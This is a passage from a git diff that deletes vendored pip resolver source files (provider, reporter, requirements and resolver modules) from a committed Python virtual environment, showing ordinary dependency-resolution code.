-        if installed.version >= version:
-            yield installed
-            versions_found.add(installed.version)
-        candidate = func()
-        if candidate is None:
-            continue
-        yield candidate
-        versions_found.add(version)
-
-    # If the installed candidate is older than all other candidates.
-    if installed.version not in versions_found:
-        yield installed
-
-
-class FoundCandidates(Sequence[Candidate]):
-    """A lazy sequence to provide candidates to the resolver.
-
-    The intended usage is to return this from `find_matches()` so the resolver
-    can iterate through the sequence multiple times, but only access the index
-    page when remote packages are actually needed. This improve performances
-    when suitable candidates are already installed on disk.
-    """
-
-    def __init__(
-        self,
-        get_infos: Callable[[], Iterator[IndexCandidateInfo]],
-        installed: Candidate | None,
-        prefers_installed: bool,
-        incompatible_ids: set[int],
-    ):
-        self._get_infos = get_infos
-        self._installed = installed
-        self._prefers_installed = prefers_installed
-        self._incompatible_ids = incompatible_ids
-        self._bool: bool | None = None
-
-    def __getitem__(self, index: Any) -> Any:
-        # Implemented to satisfy the ABC check. This is not needed by the
-        # resolver, and should not be used by the provider either (for
-        # performance reasons).
-        raise NotImplementedError("don't do this")
-
-    def __iter__(self) -> Iterator[Candidate]:
-        infos = self._get_infos()
-        if not self._installed:
-            iterator = _iter_built(infos)
-        elif self._prefers_installed:
-            iterator = _iter_built_with_prepended(self._installed, infos)
-        else:
-            iterator = _iter_built_with_inserted(self._installed, infos)
-        return (c for c in iterator if id(c) not in self._incompatible_ids)
-
-    def __len__(self) -> int:
-        # Implemented to satisfy the ABC check. This is not needed by the
-        # resolver, and should not be used by the provider either (for
-        # performance reasons).
-        raise NotImplementedError("don't do this")
-
-    def __bool__(self) -> bool:
-        if self._bool is not None:
-            return self._bool
-
-        if self._prefers_installed and self._installed:
-            self._bool = True
-            return True
-
-        self._bool = any(self)
-        return self._bool
diff --git a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/provider.py b/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/provider.py
deleted file mode 100644
index 766fa8480da1dbd81c22a2a276720fc3307cdcd2..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/provider.py
+++ /dev/null
@@ -1,309 +0,0 @@
-from __future__ import annotations
-
-import math
-from collections import defaultdict
-from collections.abc import Iterable, Iterator, Mapping, Sequence
-from functools import cache
-from typing import (
-    TYPE_CHECKING,
-    TypeVar,
-)
-
-from pip._vendor.resolvelib.providers import AbstractProvider
-
-from pip._internal.req.req_install import InstallRequirement
-
-from .base import Candidate, Constraint, Requirement
-from .candidates import REQUIRES_PYTHON_IDENTIFIER
-from .factory import Factory
-from .requirements import ExplicitRequirement
-
-if TYPE_CHECKING:
-    from pip._vendor.resolvelib.providers import Preference
-    from pip._vendor.resolvelib.resolvers import RequirementInformation
-
-    PreferenceInformation = RequirementInformation[Requirement, Candidate]
-
-    _ProviderBase = AbstractProvider[Requirement, Candidate, str]
-else:
-    _ProviderBase = AbstractProvider
-
-_CONFLICT_PRIORITY_THRESHOLD = 5
-
-# Notes on the relationship between the provider, the factory, and the
-# candidate and requirement classes.
-#
-# The provider is a direct implementation of the resolvelib class. Its role
-# is to deliver the API that resolvelib expects.
-#
-# Rather than work with completely abstract "requirement" and "candidate"
-# concepts as resolvelib does, pip has concrete classes implementing these two
-# ideas. The API of Requirement and Candidate objects are defined in the base
-# classes, but essentially map fairly directly to the equivalent provider
-# methods. In particular, `find_matches` and `is_satisfied_by` are
-# requirement methods, and `get_dependencies` is a candidate method.
-#
-# The factory is the interface to pip's internal mechanisms. It is stateless,
-# and is created by the resolver and held as a property of the provider. It is
-# responsible for creating Requirement and Candidate objects, and provides
-# services to those objects (access to pip's finder and preparer).
-
-
-D = TypeVar("D")
-V = TypeVar("V")
-
-
-def _get_with_identifier(
-    mapping: Mapping[str, V],
-    identifier: str,
-    default: D,
-) -> D | V:
-    """Get item from a package name lookup mapping with a resolver identifier.
-
-    This extra logic is needed when the target mapping is keyed by package
-    name, which cannot be directly looked up with an identifier (which may
-    contain requested extras). Additional logic is added to also look up a value
-    by "cleaning up" the extras from the identifier.
-    """
-    if identifier in mapping:
-        return mapping[identifier]
-    # HACK: Theoretically we should check whether this identifier is a valid
-    # "NAME[EXTRAS]" format, and parse out the name part with packaging or
-    # some regular expression. But since pip's resolver only spits out three
-    # kinds of identifiers: normalized PEP 503 names, normalized names plus
-    # extras, and Requires-Python, we can cheat a bit here.
-    name, open_bracket, _ = identifier.partition("[")
-    if open_bracket and name in mapping:
-        return mapping[name]
-    return default
-
-
-class PipProvider(_ProviderBase):
-    """Pip's provider implementation for resolvelib.
-
-    :params constraints: A mapping of constraints specified by the user. Keys
-        are canonicalized project names.
-    :params ignore_dependencies: Whether the user specified ``--no-deps``.
-    :params only_dependencies: Whether the user specified ``--only-deps``.
-    :params upgrade_strategy: The user-specified upgrade strategy.
-    :params user_requested: A set of canonicalized package names that the user
-        supplied for pip to install/upgrade.
-    """
-
-    def __init__(
-        self,
-        factory: Factory,
-        constraints: dict[str, Constraint],
-        ignore_dependencies: bool,
-        only_dependencies: bool,
-        upgrade_strategy: str,
-        user_requested: dict[str, int],
-    ) -> None:
-        self._factory = factory
-        self._constraints = constraints
-        self._ignore_dependencies = ignore_dependencies
-        self._only_dependencies = only_dependencies
-        self._upgrade_strategy = upgrade_strategy
-        self._user_requested = user_requested
-        self._conflict_counts: defaultdict[str, int] = defaultdict(int)
-        self._conflict_promoted: set[str] = set()
-
-    @property
-    def constraints(self) -> dict[str, Constraint]:
-        """Public view of user-specified constraints.
-
-        Exposes the provider's constraints mapping without encouraging
-        external callers to reach into private attributes.
-        """
-        return self._constraints
-
-    def identify(self, requirement_or_candidate: Requirement | Candidate) -> str:
-        return requirement_or_candidate.name
-
-    def narrow_requirement_selection(
-        self,
-        identifiers: Iterable[str],
-        resolutions: Mapping[str, Candidate],
-        candidates: Mapping[str, Iterator[Candidate]],
-        information: Mapping[str, Iterator[PreferenceInformation]],
-        backtrack_causes: Sequence[PreferenceInformation],
-    ) -> Iterable[str]:
-        """Produce a subset of identifiers that should be considered before others.
-
-        Currently pip narrows the following selection:
-            * Requires-Python, if present is always returned by itself
-            * Backtrack causes are considered next because they can be identified
-              in linear time here, whereas because get_preference() is called
-              for each identifier, it would be quadratic to check for them there.
-              Further, the current backtrack causes likely need to be resolved
-              before other requirements as a resolution can't be found while
-              there is a conflict.
-            * Identifiers that repeatedly appear as not-yet-pinned in conflicts
-              get promoted so they are resolved earlier. This lets their
-              constraints take effect before other packages pick a version.
-        """
-        backtrack_identifiers = set()
-        for info in backtrack_causes:
-            names = [info.requirement.name]
-            if info.parent is not None:
-                names.append(info.parent.name)
-            for name in names:
-                backtrack_identifiers.add(name)
-                if name not in resolutions:
-                    self._conflict_counts[name] += 1
-                    if self._conflict_counts[name] >= _CONFLICT_PRIORITY_THRESHOLD:
-                        self._conflict_promoted.add(name)
-
-        current_backtrack_causes = []
-        promoted = []
-        for identifier in identifiers:
-            if identifier == REQUIRES_PYTHON_IDENTIFIER:
-                return [identifier]
-
-            if identifier in backtrack_identifiers:
-                current_backtrack_causes.append(identifier)
-                continue
-
-            if identifier in self._conflict_promoted:
-                promoted.append(identifier)
-                continue
-
-        if current_backtrack_causes:
-            return current_backtrack_causes
-
-        if promoted:
-            return promoted
-
-        return identifiers
-
-    def get_preference(
-        self,
-        identifier: str,
-        resolutions: Mapping[str, Candidate],
-        candidates: Mapping[str, Iterator[Candidate]],
-        information: Mapping[str, Iterable[PreferenceInformation]],
-        backtrack_causes: Sequence[PreferenceInformation],
-    ) -> Preference:
-        """Produce a sort key for given requirement based on preference.
-
-        The lower the return value is, the more preferred this group of
-        arguments is.
-
-        Currently pip considers the following in order:
-
-        * Any requirement that is "direct", e.g., points to an explicit URL.
-        * Any requirement that is "pinned", i.e., contains the operator ``===``
-          or ``==`` without a wildcard.
-        * Any requirement that imposes an upper version limit, i.e., contains the
-          operator ``<``, ``<=``, ``~=``, or ``==`` with a wildcard. Because
-          pip prioritizes the latest version, preferring explicit upper bounds
-          can rule out infeasible candidates sooner. This does not imply that
-          upper bounds are good practice; they can make dependency management
-          and resolution harder.
-        * Order user-specified requirements as they are specified, placing
-          other requirements afterward.
-        * Any "non-free" requirement, i.e., one that contains at least one
-          operator, such as ``>=`` or ``!=``.
-        * Alphabetical order for consistency (aids debuggability).
-        """
-        try:
-            next(iter(information[identifier]))
-        except StopIteration:
-            # There is no information for this identifier, so there's no known
-            # candidates.
-            has_information = False
-        else:
-            has_information = True
-
-        if not has_information:
-            direct = False
-            ireqs: tuple[InstallRequirement | None, ...] = ()
-        else:
-            # Go through the information and for each requirement,
-            # check if it's explicit (e.g., a direct link) and get the
-            # InstallRequirement (the second element) from get_candidate_lookup()
-            directs, ireqs = zip(
-                *(
-                    (isinstance(r, ExplicitRequirement), r.get_candidate_lookup()[1])
-                    for r, _ in information[identifier]
-                )
-            )
-            direct = any(directs)
-
-        operators: list[tuple[str, str]] = [
-            (specifier.operator, specifier.version)
-            for specifier_set in (ireq.specifier for ireq in ireqs if ireq)
-            for specifier in specifier_set
-        ]
-
-        pinned = any(((op[:2] == "==") and ("*" not in ver)) for op, ver in operators)
-        upper_bounded = any(
-            ((op in ("<", "<=", "~=")) or (op == "==" and "*" in ver))
-            for op, ver in operators
-        )
-        unfree = bool(operators)
-        requested_order = self._user_requested.get(identifier, math.inf)
-
-        conflict_promoted = identifier in self._conflict_promoted
-
-        return (
-            not conflict_promoted,
-            not direct,
-            not pinned,
-            not upper_bounded,
-            requested_order,
-            not unfree,
-            identifier,
-        )
-
-    def find_matches(
-        self,
-        identifier: str,
-        requirements: Mapping[str, Iterator[Requirement]],
-        incompatibilities: Mapping[str, Iterator[Candidate]],
-    ) -> Iterable[Candidate]:
-        def _eligible_for_upgrade(identifier: str) -> bool:
-            """Are upgrades allowed for this project?
-
-            This checks the upgrade strategy, and whether the project was one
-            that the user specified in the command line, in order to decide
-            whether we should upgrade if there's a newer version available.
-
-            (Note that we don't need access to the `--upgrade` flag, because
-            an upgrade strategy of "to-satisfy-only" means that `--upgrade`
-            was not specified).
-            """
-            if self._upgrade_strategy == "eager":
-                return True
-            elif self._upgrade_strategy == "only-if-needed":
-                user_order = _get_with_identifier(
-                    self._user_requested,
-                    identifier,
-                    default=None,
-                )
-                return user_order is not None
-            return False
-
-        constraint = _get_with_identifier(
-            self._constraints,
-            identifier,
-            default=Constraint.empty(),
-        )
-        return self._factory.find_candidates(
-            identifier=identifier,
-            requirements=requirements,
-            constraint=constraint,
-            prefers_installed=(not _eligible_for_upgrade(identifier)),
-            incompatibilities=incompatibilities,
-            is_satisfied_by=self.is_satisfied_by,
-        )
-
-    @staticmethod
-    @cache
-    def is_satisfied_by(requirement: Requirement, candidate: Candidate) -> bool:
-        return requirement.is_satisfied_by(candidate)
-
-    def get_dependencies(self, candidate: Candidate) -> Iterable[Requirement]:
-        with_requires = not self._ignore_dependencies
-        # iter_dependencies() can perform nontrivial work so delay until needed.
-        return (r for r in candidate.iter_dependencies(with_requires) if r is not None)
diff --git a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/reporter.py b/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/reporter.py
deleted file mode 100644
index de0deb26b4354017722a218b67c97d01517f4582..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/reporter.py
+++ /dev/null
@@ -1,98 +0,0 @@
-from __future__ import annotations
-
-from collections import defaultdict
-from collections.abc import Mapping
-from logging import getLogger
-from typing import Any
-
-from pip._vendor.resolvelib.reporters import BaseReporter
-
-from .base import Candidate, Constraint, Requirement
-
-logger = getLogger(__name__)
-
-
-class PipReporter(BaseReporter[Requirement, Candidate, str]):
-    def __init__(self, constraints: Mapping[str, Constraint] | None = None) -> None:
-        self.reject_count_by_package: defaultdict[str, int] = defaultdict(int)
-        self._constraints = constraints or {}
-
-        self._messages_at_reject_count = {
-            1: (
-                "pip is looking at multiple versions of {package_name} to "
-                "determine which version is compatible with other "
-                "requirements. This could take a while."
-            ),
-            8: (
-                "pip is still looking at multiple versions of {package_name} to "
-                "determine which version is compatible with other "
-                "requirements. This could take a while."
-            ),
-            13: (
-                "This is taking longer than usual. You might need to provide "
-                "the dependency resolver with stricter constraints to reduce "
-                "runtime. See https://pip.pypa.io/warnings/backtracking for "
-                "guidance. If you want to abort this run, press Ctrl + C."
-            ),
-        }
-
-    def rejecting_candidate(self, criterion: Any, candidate: Candidate) -> None:
-        """Report a candidate being rejected.
-
-        Logs both the rejection count message (if applicable) and details about
-        the requirements and constraints that caused the rejection.
-        """
-        self.reject_count_by_package[candidate.name] += 1
-
-        count = self.reject_count_by_package[candidate.name]
-        if count in self._messages_at_reject_count:
-            message = self._messages_at_reject_count[count]
-            logger.info("INFO: %s", message.format(package_name=candidate.name))
-
-        msg = "Will try a different candidate, due to conflict:"
-        for req_info in criterion.information:
-            req, parent = req_info.requirement, req_info.parent
-            msg += "\n    "
-            if parent:
-                msg += f"{parent.name} {parent.version} depends on "
-            else:
-                msg += "The user requested "
-            msg += req.format_for_error()
-
-        # Add any relevant constraints
-        if self._constraints:
-            name = candidate.name
-            constraint = self._constraints.get(name)
-            if constraint and constraint.specifier:
-                constraint_text = f"{name}{constraint.format_for_error()}"
-                msg += f"\n    The user requested (constraint) {constraint_text}"
-
-        logger.debug(msg)
-
-
-class PipDebuggingReporter(BaseReporter[Requirement, Candidate, str]):
-    """A reporter that does an info log for every event it sees."""
-
-    def starting(self) -> None:
-        logger.info("Reporter.starting()")
-
-    def starting_round(self, index: int) -> None:
-        logger.info("Reporter.starting_round(%r)", index)
-
-    def ending_round(self, index: int, state: Any) -> None:
-        logger.info("Reporter.ending_round(%r, state)", index)
-        logger.debug("Reporter.ending_round(%r, %r)", index, state)
-
-    def ending(self, state: Any) -> None:
-        logger.info("Reporter.ending(%r)", state)
-
-    def adding_requirement(
-        self, requirement: Requirement, parent: Candidate | None
-    ) -> None:
-        logger.info("Reporter.adding_requirement(%r, %r)", requirement, parent)
-
-    def rejecting_candidate(self, criterion: Any, candidate: Candidate) -> None:
-        logger.info("Reporter.rejecting_candidate(%r, %r)", criterion, candidate)
-
-    def pinning(self, candidate: Candidate) -> None:
-        logger.info("Reporter.pinning(%r)", candidate)
diff --git a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/requirements.py b/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/requirements.py
deleted file mode 100644
index 9c5e23374110b369ca5cab5fcc02ff09286b89da..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/requirements.py
+++ /dev/null
@@ -1,251 +0,0 @@
-from __future__ import annotations
-
-from typing import Any
-
-from pip._vendor.packaging.specifiers import SpecifierSet
-from pip._vendor.packaging.utils import NormalizedName, canonicalize_name
-
-from pip._internal.req.constructors import install_req_drop_extras
-from pip._internal.req.req_install import InstallRequirement
-
-from .base import Candidate, CandidateLookup, Requirement, format_name
-
-
-class ExplicitRequirement(Requirement):
-    def __init__(self, candidate: Candidate) -> None:
-        self.candidate = candidate
-
-    def __str__(self) -> str:
-        return str(self.candidate)
-
-    def __repr__(self) -> str:
-        return f"{self.__class__.__name__}({self.candidate!r})"
-
-    def __hash__(self) -> int:
-        return hash(self.candidate)
-
-    def __eq__(self, other: Any) -> bool:
-        if not isinstance(other, ExplicitRequirement):
-            return False
-        return self.candidate == other.candidate
-
-    @property
-    def project_name(self) -> NormalizedName:
-        # No need to canonicalize - the candidate did this
-        return self.candidate.project_name
-
-    @property
-    def name(self) -> str:
-        # No need to canonicalize - the candidate did this
-        return self.candidate.name
-
-    def format_for_error(self) -> str:
-        return self.candidate.format_for_error()
-
-    def get_candidate_lookup(self) -> CandidateLookup:
-        return self.candidate, None
-
-    def is_satisfied_by(self, candidate: Candidate) -> bool:
-        return candidate == self.candidate
-
-
-class SpecifierRequirement(Requirement):
-    def __init__(self, ireq: InstallRequirement) -> None:
-        assert ireq.link is None, "This is a link, not a specifier"
-        self._ireq = ireq
-        self._equal_cache: str | None = None
-        self._hash: int | None = None
-        self._extras = frozenset(canonicalize_name(e) for e in self._ireq.extras)
-
-    @property
-    def _equal(self) -> str:
-        if self._equal_cache is not None:
-            return self._equal_cache
-
-        self._equal_cache = str(self._ireq)
-        return self._equal_cache
-
-    def __str__(self) -> str:
-        return str(self._ireq.req)
-
-    def __repr__(self) -> str:
-        return f"{self.__class__.__name__}({str(self._ireq.req)!r})"
-
-    def __eq__(self, other: object) -> bool:
-        if not isinstance(other, SpecifierRequirement):
-            return NotImplemented
-        return self._equal == other._equal
-
-    def __hash__(self) -> int:
-        if self._hash is not None:
-            return self._hash
-
-        self._hash = hash(self._equal)
-        return self._hash
-
-    @property
-    def project_name(self) -> NormalizedName:
-        assert self._ireq.req, "Specifier-backed ireq is always PEP 508"
-        return canonicalize_name(self._ireq.req.name)
-
-    @property
-    def name(self) -> str:
-        return format_name(self.project_name, self._extras)
-
-    def format_for_error(self) -> str:
-        # Convert comma-separated specifiers into "A, B, ..., F and G"
-        # This makes the specifier a bit more "human readable", without
-        # risking a change in meaning. (Hopefully! Not all edge cases have
-        # been checked)
-        parts = [s.strip() for s in str(self).split(",")]
-        if len(parts) == 0:
-            return ""
-        elif len(parts) == 1:
-            return parts[0]
-
-        return ", ".join(parts[:-1]) + " and " + parts[-1]
-
-    def get_candidate_lookup(self) -> CandidateLookup:
-        return None, self._ireq
-
-    def is_satisfied_by(self, candidate: Candidate) -> bool:
-        assert candidate.name == self.name, (
-            f"Internal issue: Candidate is not for this requirement "
-            f"{candidate.name} vs {self.name}"
-        )
-        # We can safely always allow prereleases here since PackageFinder
-        # already implements the prerelease logic, and would have filtered out
-        # prerelease candidates if the user does not expect them.
-        assert self._ireq.req, "Specifier-backed ireq is always PEP 508"
-        spec = self._ireq.req.specifier
-        return spec.contains(candidate.version, prereleases=True)
-
-
-class SpecifierWithoutExtrasRequirement(SpecifierRequirement):
-    """
-    Requirement backed by an install requirement on a base package.
-    Trims extras from its install requirement if there are any.
-    """
-
-    def __init__(self, ireq: InstallRequirement) -> None:
-        assert ireq.link is None, "This is a link, not a specifier"
-        self._ireq = install_req_drop_extras(ireq)
-        self._equal_cache: str | None = None
-        self._hash: int | None = None
-        self._extras = frozenset(canonicalize_name(e) for e in self._ireq.extras)
-
-    @property
-    def _equal(self) -> str:
-        if self._equal_cache is not None:
-            return self._equal_cache
-
-        self._equal_cache = str(self._ireq)
-        return self._equal_cache
-
-    def __eq__(self, other: object) -> bool:
-        if not isinstance(other, SpecifierWithoutExtrasRequirement):
-            return NotImplemented
-        return self._equal == other._equal
-
-    def __hash__(self) -> int:
-        if self._hash is not None:
-            return self._hash
-
-        self._hash = hash(self._equal)
-        return self._hash
-
-
-class RequiresPythonRequirement(Requirement):
-    """A requirement representing Requires-Python metadata."""
-
-    def __init__(self, specifier: SpecifierSet, match: Candidate) -> None:
-        self.specifier = specifier
-        self._specifier_string = str(specifier)  # for faster __eq__
-        self._hash: int | None = None
-        self._candidate = match
-
-        # Pre-compute candidate lookup to avoid repeated specifier checks
-        if specifier.contains(match.version, prereleases=True):
-            self._candidate_lookup: CandidateLookup = (match, None)
-        else:
-            self._candidate_lookup = (None, None)
-
-    def __str__(self) -> str:
-        return f"Python {self.specifier}"
-
-    def __repr__(self) -> str:
-        return f"{self.__class__.__name__}({str(self.specifier)!r})"
-
-    def __hash__(self) -> int:
-        if self._hash is not None:
-            return self._hash
-
-        self._hash = hash((self._specifier_string, self._candidate))
-        return self._hash
-
-    def __eq__(self, other: Any) -> bool:
-        if not isinstance(other, RequiresPythonRequirement):
-            return False
-        return (
-            self._specifier_string == other._specifier_string
-            and self._candidate == other._candidate
-        )
-
-    @property
-    def project_name(self) -> NormalizedName:
-        return self._candidate.project_name
-
-    @property
-    def name(self) -> str:
-        return self._candidate.name
-
-    def format_for_error(self) -> str:
-        return str(self)
-
-    def get_candidate_lookup(self) -> CandidateLookup:
-        return self._candidate_lookup
-
-    def is_satisfied_by(self, candidate: Candidate) -> bool:
-        assert candidate.name == self._candidate.name, "Not Python candidate"
-        # We can safely always allow prereleases here since PackageFinder
-        # already implements the prerelease logic, and would have filtered out
-        # prerelease candidates if the user does not expect them.
-        return self.specifier.contains(candidate.version, prereleases=True)
-
-
-class UnsatisfiableRequirement(Requirement):
-    """A requirement that cannot be satisfied."""
-
-    def __init__(self, name: NormalizedName) -> None:
-        self._name = name
-
-    def __str__(self) -> str:
-        return f"{self._name} (unavailable)"
-
-    def __repr__(self) -> str:
-        return f"{self.__class__.__name__}({str(self._name)!r})"
-
-    def __eq__(self, other: object) -> bool:
-        if not isinstance(other, UnsatisfiableRequirement):
-            return NotImplemented
-        return self._name == other._name
-
-    def __hash__(self) -> int:
-        return hash(self._name)
-
-    @property
-    def project_name(self) -> NormalizedName:
-        return self._name
-
-    @property
-    def name(self) -> str:
-        return self._name
-
-    def format_for_error(self) -> str:
-        return str(self)
-
-    def get_candidate_lookup(self) -> CandidateLookup:
-        return None, None
-
-    def is_satisfied_by(self, candidate: Candidate) -> bool:
-        return False
diff --git a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/resolver.py b/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/resolver.py
deleted file mode 100644
index 6e49c9efe92bce8e91020e3d4b3d1f77f089ba12..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/resolver.py
+++ /dev/null
@@ -1,341 +0,0 @@
-from __future__ import annotations
-
-import contextlib
-import functools
-import logging
-import os
-from typing import TYPE_CHECKING, cast
-
-from pip._vendor.packaging.utils import canonicalize_name
-from pip._vendor.resolvelib import BaseReporter, ResolutionImpossible, ResolutionTooDeep
-from pip._vendor.resolvelib import Resolver as RLResolver
-from pip._vendor.resolvelib.structs import DirectedGraph
-
-from pip._internal.cache import WheelCache
-from pip._internal.exceptions import ResolutionTooDeepError
-from pip._internal.index.package_finder import PackageFinder
-from pip._internal.operations.prepare import RequirementPreparer
-from pip._internal.req.constructors import install_req_extend_extras
-from pip._internal.req.req_install import InstallRequirement
-from pip._internal.req.req_set import RequirementSet
-from pip._internal.resolution.base import BaseResolver, InstallRequirementProvider
-from pip._internal.resolution.resolvelib.provider import PipProvider
-from pip._internal.resolution.resolvelib.reporter import (
-    PipDebuggingReporter,
-    PipReporter,
-)
-from pip._internal.utils.packaging import get_requirement
-
-from .base import Candidate, Requirement
-from .factory import Factory
-
-if TYPE_CHECKING:
-    from pip._vendor.resolvelib.resolvers import Result as RLResult
-
-    Result = RLResult[Requirement, Candidate, str]
-
-
-logger = logging.getLogger(__name__)
-
-
-class Resolver(BaseResolver):
-    _allowed_strategies = {"eager", "only-if-needed", "to-satisfy-only"}
-
-    def __init__(
-        self,
-        preparer: RequirementPreparer,
-        finder: PackageFinder,
-        wheel_cache: WheelCache | None,
-        make_install_req: InstallRequirementProvider,
-        use_user_site: bool,
-        ignore_dependencies: bool,
-        only_dependencies: bool,
-        ignore_installed: bool,
-        ignore_requires_python: bool,
-        force_reinstall: bool,
-        upgrade_strategy: str,
-        py_version_info: tuple[int, ...] | None = None,
-    ):
-        super().__init__()
-        assert upgrade_strategy in self._allowed_strategies
-        assert not (ignore_dependencies and only_dependencies)
-
-        self.factory = Factory(
-            finder=finder,
-            preparer=preparer,
-            make_install_req=make_install_req,
-            wheel_cache=wheel_cache,
-            use_user_site=use_user_site,
-            force_reinstall=force_reinstall,
-            ignore_installed=ignore_installed,
-            ignore_requires_python=ignore_requires_python,
-            py_version_info=py_version_info,
-        )
-        self.ignore_dependencies = ignore_dependencies
-        self.only_dependencies = only_dependencies
-        self.upgrade_strategy = upgrade_strategy
-        self._result: Result | None = None
-
-    def resolve(
-        self, root_reqs: list[InstallRequirement], check_supported_wheels: bool
-    ) -> RequirementSet:
-        collected = self.factory.collect_root_requirements(root_reqs)
-        provider = PipProvider(
-            factory=self.factory,
-            constraints=collected.constraints,
-            ignore_dependencies=self.ignore_dependencies,
-            only_dependencies=self.only_dependencies,
-            upgrade_strategy=self.upgrade_strategy,
-            user_requested=collected.user_requested,
-        )
-        if "PIP_RESOLVER_DEBUG" in os.environ:
-            reporter: BaseReporter[Requirement, Candidate, str] = PipDebuggingReporter()
-        else:
-            reporter = PipReporter(constraints=provider.constraints)
-
-        resolver: RLResolver[Requirement, Candidate, str] = RLResolver(
-            provider,
-            reporter,
-        )
-
-        try:
-            limit_how_complex_resolution_can_be = 200000
-            result = self._result = resolver.resolve(
-                collected.requirements, max_rounds=limit_how_complex_resolution_can_be
-            )
-
-        except ResolutionImpossible as e:
-            error = self.factory.get_installation_error(
-                cast("ResolutionImpossible[Requirement, Candidate]", e),
-                collected.constraints,
-            )
-            raise error from e
-        except ResolutionTooDeep:
-            raise ResolutionTooDeepError from None
-
-        req_set = RequirementSet(check_supported_wheels=check_supported_wheels)
-        # process candidates with extras last to ensure their base equivalent is
-        # already in the req_set if appropriate.
-        # Python's sort is stable so using a binary key function keeps relative order
-        # within both subsets.
-        for candidate in sorted(
-            result.mapping.values(), key=lambda c: c.name != c.project_name
-        ):
-            ireq = candidate.get_install_requirement()
-            if ireq is None:
-                if candidate.name != candidate.project_name:
-                    # extend existing req's extras
-                    with contextlib.suppress(KeyError):
-                        req = req_set.get_requirement(candidate.project_name)
-                        req_set.add_named_requirement(
-                            install_req_extend_extras(
-                                req, get_requirement(candidate.name).extras
-                            )
-                        )
-                continue
-
-            # Check if there is already an installation under the same name,
-            # and set a flag for later stages to uninstall it, if needed.
-            installed_dist = self.factory.get_dist_to_uninstall(candidate)
-            if installed_dist is None:
-                # There is no existing installation -- nothing to uninstall.
-                ireq.should_reinstall = False
-            elif self.factory.force_reinstall:
-                # The --force-reinstall flag is set -- reinstall.
-                ireq.should_reinstall = True
-            elif installed_dist.version != candidate.version:
-                # The installation is different in version -- reinstall.
-                ireq.should_reinstall = True
-            elif candidate.is_editable or installed_dist.editable:
-                # The incoming distribution is editable, or different in
-                # editable-ness to installation -- reinstall.
-                ireq.should_reinstall = True
-            elif candidate.source_link and candidate.source_link.is_file:
-                # The incoming distribution is under file://
-                if candidate.source_link.is_wheel:
-                    # is a local wheel -- do nothing.
-                    logger.info(
-                        "%s is already installed with the same version as the "
-                        "provided wheel. Use --force-reinstall to force an "
-                        "installation of the wheel.",
-                        ireq.name,
-                    )
-                    continue
-
-                # is a local sdist or path -- reinstall
-                ireq.should_reinstall = True
-            else:
-                continue
-
-            link = candidate.source_link
-            if link and link.is_yanked:
-                # The reason can contain non-ASCII characters, Unicode
-                # is required for Python 2.
-                msg = (
-                    "The candidate selected for download or install is a "
-                    "yanked version: {name!r} candidate (version {version} "
-                    "at {link})\nReason for being yanked: {reason}"
-                ).format(
-                    name=candidate.name,
-                    version=candidate.version,
-                    link=link,
-                    reason=link.yanked_reason or "",
-                )
-                logger.warning(msg)
-
-            req_set.add_named_requirement(ireq)
-
-        if self.only_dependencies:
-            for requested in collected.user_requested:
-                project_name = requested.partition("[")[0]
-                req_set.requirements.pop(project_name, None)
-
-        return req_set
-
-    def get_installation_order(
-        self, req_set: RequirementSet
-    ) -> list[InstallRequirement]:
-        """Get order for installation of requirements in RequirementSet.
-
-        The returned list contains a requirement before another that depends on
-        it. This helps ensure that the environment is kept consistent as they
-        get installed one-by-one.
-
-        The current implementation creates a topological ordering of the
-        dependency graph, giving more weight to packages with less
-        or no dependencies, while breaking any cycles in the graph at
-        arbitrary points. We make no guarantees about where the cycle
-        would be broken, other than it *would* be broken.
-        """
-        assert self._result is not None, "must call resolve() first"
-
-        if not req_set.requirements:
-            # Nothing is left to install, so we do not need an order.
-            return []
-
-        graph = self._result.graph
-        weights = get_topological_weights(graph, set(req_set.requirements.keys()))
-
-        sorted_items = sorted(
-            req_set.requirements.items(),
-            key=functools.partial(_req_set_item_sorter, weights=weights),
-            reverse=True,
-        )
-        return [ireq for _, ireq in sorted_items]
-
-
-def get_topological_weights(
-    graph: DirectedGraph[str | None], requirement_keys: set[str]
-) -> dict[str | None, int]:
-    """Assign weights to each node based on how "deep" they are.
-
-    This implementation may change at any point in the future without prior
-    notice.
-
-    We first simplify the dependency graph by pruning any leaves and giving them
-    the highest weight: a package without any dependencies should be installed
-    first. This is done again and again in the same way, giving ever less weight
-    to the newly found leaves. The loop stops when no leaves are left: all
-    remaining packages have at least one dependency left in the graph.
-
-    Then we continue with the remaining graph, by taking the length for the
-    longest path to any node from root, ignoring any paths that contain a single
-    node twice (i.e. cycles). This is done through a depth-first search through
-    the graph, while keeping track of the path to the node.
-
-    Cycles in the graph result would result in node being revisited while also
-    being on its own path. In this case, take no action. This helps ensure we
-    don't get stuck in a cycle.
-
-    When assigning weight, the longer path (i.e. larger length) is preferred.
-
-    We are only interested in the weights of packages that are in the
-    requirement_keys.
-    """
-    path: set[str | None] = set()
-    weights: dict[str | None, list[int]] = {}
-
-    def visit(node: str | None) -> None:
-        if node in path:
-            # We hit a cycle, so we'll break it here.
-            return
-
-        # The walk is exponential and for pathologically connected graphs (which
-        # are the ones most likely to contain cycles in the first place) it can
-        # take until the heat-death of the universe. To counter this we limit
-        # the number of attempts to visit (i.e. traverse through) any given
-        # node. We choose a value here which gives decent enough coverage for
-        # fairly well behaved graphs, and still limits the walk complexity to be
-        # linear in nature.
-        cur_weights = weights.get(node, [])
-        if len(cur_weights) >= 5:
-            return
-
-        # Time to visit the children!
-        path.add(node)
-        for child in graph.iter_children(node):
-            visit(child)
-        path.remove(node)
-
-        if node not in requirement_keys:
-            return
-
-        cur_weights.append(len(path))
-        weights[node] = cur_weights
-
-    # Simplify the graph, pruning leaves that have no dependencies. This is
-    # needed for large graphs (say over 200 packages) because the `visit`
-    # function is slower for large/densely connected graphs, taking minutes.
